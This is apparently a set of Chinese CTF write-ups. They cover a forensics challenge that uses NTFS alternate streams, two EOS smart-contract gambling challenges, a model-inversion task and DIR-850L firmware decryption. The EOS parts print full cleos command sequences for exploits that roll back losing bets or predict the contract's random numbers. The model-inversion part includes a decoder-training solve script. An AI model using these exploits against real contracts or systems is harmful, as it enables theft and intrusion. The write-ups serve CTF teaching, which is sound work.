相对应的路径下找不到这个文件,想起便签处的提示,可能在系统加载的时候该文件被删除了。
我们在系统启动项处,找到一个自动删除 .mylife.vera
文件的隐藏脚本文件。嫌疑人故意设置了一个简易的开机自删除功能。
那么我们可以直接在 取证大师
中导出该文件,也可以从系统盘的用户缓存目录下找到该文件。
使用 VeraCrypt
和之前找到的密码 V3Ra1sSe3ure2333
进行解密并挂载。
我们可以找到看到加密容器内,一共有 184
个文件,有一堆生活照,还有一个 readme
文件。
readme
文件提示这里有 185
个文件,其中 183
张照片是我的生活照,所以必然有一个文件被隐藏了。
这个文件系统为 NTFS
,想起嫌疑人可能使用 NTFS交换数据流
的方式进行文件隐藏。
在 cmd
下使用 dir /r
命令可以看到隐藏文件 528274475768683480.jpg:k3y.txt:$DATA
。
使用 notepad 528274475768683480.jpg:k3y.txt
命令,直接使用记事本打开被隐藏的文件。
可以得到一串密码 F1a9ZiPInD6TABaSE
,并且根据密码的提示,flag.zip
文件在数据库里。嫌疑人可能把重要文件存放在电脑的数据库里。
想起嫌疑人的电脑装有 phpStudy
和 Navicat
,直接启动 mysql
,使用 Navicat
查看数据库。
看到几个数据库的名称,与 bitlocker
加密盘下 gambling
文件夹里的几个 .sql
文件名一致。
那么我们可以比较 .sql
文件里的数据与数据库里的数据,找到数据库 tencent
里多了一张表 auth_secret
。
字段名为 file
,字段值是一串 base64
编码字符串。
导出解码,转换为二进制文件,得到一个 zip
文件。
压缩包注释里提示,“这是一个真正的flag文件”,需要找到密码解开。
我们用之前找到的密码 F1a9ZiPInD6TABaSE
,解开 flag.txt
文件。
成功找到嫌疑人隐藏的重要信息。
Flag:de1ctf{GeT_Deep3r_1N_REAl_lifE_fOrEnIcs}
经观察,发现bet action
在一次交易中完成了猜数字游戏,并且发现若赢了,则users表中win的次数+1;若输了,则users表中lost的次数+1。
可以通过部署合约,通过inline action
的方式,分别进行猜数字和判断。第一个action
猜数字,第二个action
进行判断刚刚是否赢了。若赢了,则通过;若输了,则抛出异常,使整个交易回滚。(耍赖)
攻击方式
# 设置权限 cleos set account permission gllrgjlqclkp active '{"threshold": 1,"keys": [{"key": "EOS7fyKcyPhP5P4S5xXqLzYEFg5bYuYRvxzsX3UJ5W7vAxvXtgYAU","weight": 1}],"accounts":[{"permission":{"actor":"gllrgjlqclkp","permission":"eosio.code"},"weight":1}]}' owner -p gllrgjlqclkp@owner # 编译合约 cd attack4 eosio-cpp -o attack4.wasm attack4.cpp # 部署合约 cleos set contract gllrgjlqclkp . -p gllrgjlqclkp@active # 调用makebet方法多次,直到账号win次数大于等于10 cleos push action gllrgjlqclkp makebet '[]' -p gllrgjlqclkp@active # 请求发送flag cleos push action de1ctftest11 sendmail '["gllrgjlqclkp", "[email protected]"]' -p gllrgjlqclkp@active
经过反编译得到伪随机数产生的算法,部署相应的合约,在一次交易中,计算将要产生的随机数,然后用该随机数调用目标合约的bet action
。
攻击方式
# 设置权限 cleos set account permission btdaciaibmfp active '{"threshold": 1,"keys": [{"key": "EOS7fyKcyPhP5P4S5xXqLzYEFg5bYuYRvxzsX3UJ5W7vAxvXtgYAU","weight": 1}],"accounts":[{"permission":{"actor":"btdaciaibmfp","permission":"eosio.code"},"weight":1}]}' owner -p btdaciaibmfp@owner # 编译合约 cd attack eosio-cpp -o attack.wasm attack.cpp # 部署合约 cleos set contract btdaciaibmfp . -p btdaciaibmfp@active # 调用makebet方法10次 cleos push action btdaciaibmfp makebet '[]' -p btdaciaibmfp@active # 请求发送flag cleos push action de1ctftest11 sendmail '["btdaciaibmfp", "[email protected]"]' -p btdaciaibmfp@active
如今机器学习以及深度学习在各个领域广泛应用,包括医疗领域、金融领域、网络安全领域等等。深度学习需要大量的训练数据作为支持,然而如何保证训练的数据的安全性是值得我们考虑的。现在提出了许多基于深度学习模型的模型逆向攻击,来对用户的数据进行窃取。
本题模拟了一种基于深度学习的模型,对一些用户数据(flag)进行一系列的处理之后生成“加密”之后的数据,让选手使用提供的数据,训练解密模型,获取原始的flag。
flag = np.loadtxt("../data/flag.txt")
true_flag = "de1ctf{xxx_xxx_xxx}"
threshold=0.2
def mse(true, predict):
loss = np.average(np.abs(true - predict))
print(loss)
return loss
def judge(predict):
if mse(flag, predict) < threshold:
print(true_flag)
else:
print("You can't fool me")
if name == "main":
inp = input("Input your flag_dec result:")
inp = np.asarray(inp.split(' '), dtype=float)
judge(inp)
#### 解题脚本
利用AutoEncoderDecoder思路,利用所给的Enc模型,训练解密模型。
可以直接运行`python solve.py`,结果在flag_dec.txt中,直接复制到到云服务器上进行检验,底下也有已经通过解密的结果。(可能要跑几次才能出结果,所以我测试的时候用的是本地测试)
requirements
keras
sklearn
numpy
Dec model:
| Layer (type) | Output Shape | Param |
| :------------------: | :----------: | :-----: |
| input_1 (InputLayer) | (None, 64) | 0 |
| dense_1 (Dense) | (None, 2048) | 133120 |
| dense_2 (Dense) | (None, 2048) | 4196352 |
| dense_3 (Dense) | (None, 128) | 262272 |
Total params: 4,591,744
Trainable params: 4,591,744
Non-trainable params: 0
_________________________________________________________________
AutoEncoderDecoder:
| Layer (type) | Output Shape | Param |
| :----------: | :----------: | :-----: |
| Enc (Model) | (None, 64) | 8256 |
| Dec (Model) | (None, 128) | 4591744 |
Total params: 4,600,000
Trainable params: 4,591,744
Non-trainable params: 8,256
```python
def dec_model(enc_shape, flag_shape):
inp = Input((enc_shape,))
h = Dense(2048)(inp)
h = Dense(2048)(h)
out = Dense(flag_shape, activation='sigmoid')(h)
return Model(inp, out)
def load_data(flag_name, enc_name):
'''
:param path: data path
:return:
flag_sample: shape=(512,128)
enc_sample:shape=(512,64)
'''
flag_sample = np.loadtxt(flag_name)
enc_sample = np.loadtxt(enc_name)
return flag_sample, enc_sample
def train_dec(flag_sample, enc_sample):
flag_shape = flag_sample.shape[-1]
enc_shape = enc_sample.shape[-1]
Enc_model = load_model("../model/enc.hdf5")
Enc_model.name = "Enc"
Dec_model = dec_model(enc_shape, flag_shape)
print("Train Dec_model")
Enc_model.trainable = False
inp = Enc_model.inputs
dec = Enc_model(inp)
out = Dec_model(dec)
model = Model(inp, out)
model.compile(loss='mean_absolute_error', optimizer='Adam')
print(model.summary())
ear = EarlyStopping(monitor='val_loss', patience=10, mode='min', restore_best_weights=True)
model.fit(flag_sample, flag_sample, batch_size=512, epochs=100000000, verbose=2, validation_split=0.1,
callbacks=[ear])
print(Dec_model.summary())
Dec_model.save(dec_loss0.177.hdf5)
def solve():
Dec_model = load_model(dec_loss0.177.hdf5)
flag_enc = np.loadtxt("../data/flag_enc.txt").reshape(1, -1)
flag_dec = Dec_model.predict(flag_enc)
np.savetxt("../data/flag_dec.txt", flag_dec)
# print(flag_dec[0])
judge(flag_dec[0])
loss: 0.17741050019098772
delta{xxx_xxx_xxx}
flag:
1 0 1 1 1 1 0 1 1 1 0 1 0 0 0 1 0 1 1 1 1 1 1 1 1 0 0 0 0 1 0 1 1 0 1 0 0 0 1 0 0 0 1 0 1 0 0 0 1 1 1 0 1 1 0 1 1 0 0 0 0 1 1 0 0 1 1 0 0 0 0 1 1 1 1 0 0 1 0 0 0 0 0 1 1 0 0 1 1 1 1 0 1 0 1 1 1 1 0 0 0 1 1 0 0 1 1 0 0 0 1 1 1 1 0 0 1 0 0 1 1 1 0 1 1 1 0 0
flag_enc:
-4.286013841629028320e-01 9.896190166473388672e-01 4.559664130210876465e-01 8.176887035369873047e-01 8.356271386146545410e-01 3.765194416046142578e-01 1.687297374010086060e-01 3.029667437076568604e-01 5.969925522804260254e-01 5.114848613739013672e-01 9.926454722881317139e-02 9.131879210472106934e-01 -2.152046710252761841e-01 8.866041898727416992e-02 3.317154347896575928e-01 9.851776361465454102e-01 7.276151180267333984e-01 8.283065557479858398e-01 1.823632977902889252e-03 3.699933588504791260e-01 6.979680061340332031e-02 1.828217357397079468e-01 5.757516622543334961e-01 1.914786100387573242e-01 3.244600296020507812e-01 1.111515283584594727e+00 5.159097313880920410e-01 1.231751441955566406e-01 -3.645407259464263916e-01 7.166512608528137207e-01 1.389274299144744873e-01 7.724004983901977539e-02 7.178838849067687988e-01 -9.603453427553176880e-02 5.028448104858398438e-01 3.499638140201568604e-01 8.395515680313110352e-01 6.976196765899658203e-01 2.593761086463928223e-01 7.141951918601989746e-01 6.022385954856872559e-01 1.001740217208862305e+00 -2.897696197032928467e-01 1.448748558759689331e-01 8.408914208412170410e-01 2.470737695693969727e-01 4.430454969406127930e-01 -2.019447684288024902e-01 8.161327838897705078e-01 2.832469642162322998e-01 6.612138748168945312e-01 9.899861216545104980e-01 2.219144105911254883e-01 1.322134375572204590e+00 7.497617006301879883e-01 9.182292222976684570e-01 6.070237755775451660e-01 3.877772092819213867e-01 3.660472482442855835e-02 7.972034811973571777e-01 -2.158393338322639465e-02 5.925227403640747070e-01 5.734952688217163086e-01 -5.487446486949920654e-02
flag_dec:
9.999969005584716797e-01 1.000000000000000000e+00 1.000000000000000000e+00 8.216343522071838379e-01 1.000000000000000000e+00 2.449917824165481761e-09 4.793806410857692768e-13 9.827108979225158691e-01 1.000000000000000000e+00 9.518706798553466797e-01 4.392772812167322627e-09 6.113789975643157959e-03 4.152511974098160863e-05 4.196180736215637808e-09 7.207927703857421875e-01 2.705646342008542066e-14 6.214135623849870171e-07 9.999998807907104492e-01 9.499107003211975098e-01 1.000000000000000000e+00 1.000000000000000000e+00 1.000000000000000000e+00 1.000000000000000000e+00 1.000000000000000000e+00 9.999998807907104492e-01 1.134839401270570924e-12 1.000000000000000000e+00 1.000000000000000000e+00 1.772474402327793816e-22 9.627295136451721191e-01 8.082498652584035881e-07 5.288467742502689362e-03 1.000000000000000000e+00 1.356615761025602163e-14 9.699743986129760742e-01 9.680391289293766022e-03 1.000000000000000000e+00 3.494189800782449007e-13 1.000000000000000000e+00 3.159084932123808198e-14 2.154111511019039804e-14 5.770184313065346467e-16 1.000000000000000000e+00 1.002021781459916383e-05 9.999998807907104492e-01 8.955678204074501991e-04 1.000000000000000000e+00 9.489459000600186244e-18 8.299213051795959473e-01 9.961280226707458496e-01 9.470678567886352539e-01 1.103274103880202014e-22 1.000000000000000000e+00 6.979074478149414062e-01 2.365609405194221800e-20 1.000000000000000000e+00 1.000000000000000000e+00 1.236146737271584528e-13 6.457178387790918350e-04 5.910291671752929688e-01 9.847130749696120233e-11 1.000000000000000000e+00 2.832969698829401750e-07 3.806088219523060032e-21 4.788258164282160009e-21 1.000000000000000000e+00 1.000000000000000000e+00 9.999659061431884766e-01 6.373043248686371953e-08 9.844582080841064453e-01 1.429801388397322626e-09 9.504914879798889160e-01 9.991403818130493164e-01 2.418865845658057272e-19 1.000000000000000000e+00 2.270782504153226976e-17 2.376812939172689987e-12 1.000000000000000000e+00 1.241249365389798104e-14 1.346701979637145996e-01 3.604641086571485015e-16 3.174040572003981712e-17 2.682143889551155425e-18 1.000000000000000000e+00 1.000000000000000000e+00 1.364883929491043091e-01 4.823155208555363060e-09 8.947684168815612793e-01 4.979012906551361084e-02 9.936627149581909180e-01 1.000000000000000000e+00 6.171471613924950361e-05 1.000000000000000000e+00 3.350817401326366962e-10 9.962311387062072754e-01 8.754302263259887695e-01 1.577300601240949618e-08 1.000000000000000000e+00 8.513422443141155371e-14 1.534198522347082760e-13 4.049778076177301201e-16 5.455599006151120746e-18 8.422639439231716096e-06 6.625648587942123413e-02 2.438588886377601739e-09 1.000000000000000000e+00 1.000000000000000000e+00 3.147949101389713178e-08 7.443545779750593283e-11 7.562025007915029740e-13 9.984059929847717285e-01 1.000000000000000000e+00 1.000000000000000000e+00 9.997273981571197510e-02 6.106127430939578549e-13 4.462333163246512413e-05 9.999997615814208984e-01 1.432137628991099035e-24 9.999928474426269531e-01 1.000000000000000000e+00 2.727753134479371511e-09 1.000000000000000000e+00 2.289682043965513003e-07 9.587925076484680176e-01 9.999778270721435547e-01 1.000000000000000000e+00 1.434007310308516026e-03 7.365300120909523685e-07
出这个类型的题,主要是考察选手对加密固件的提取,题目涉及的是DIR-850L固件的真实加解密,也是希望选手在做了题之后有所收获,能够在真实设备上做进一步的漏洞挖掘
这道题有两个预期解,一是直接通过逆向升级的部分编写解密脚本,加密不是很难,已给出了AES所需的key,对设备有一些研究的在看了这个cgi-bin之后通常都能猜到是哪些型号,所以我patch掉了一些信息;二是巧解,在固件升级的过程中他可以直接调用解密程序对固件解密,所以需要qemu运行一个同架构的虚拟机,然后调用解密程序解出来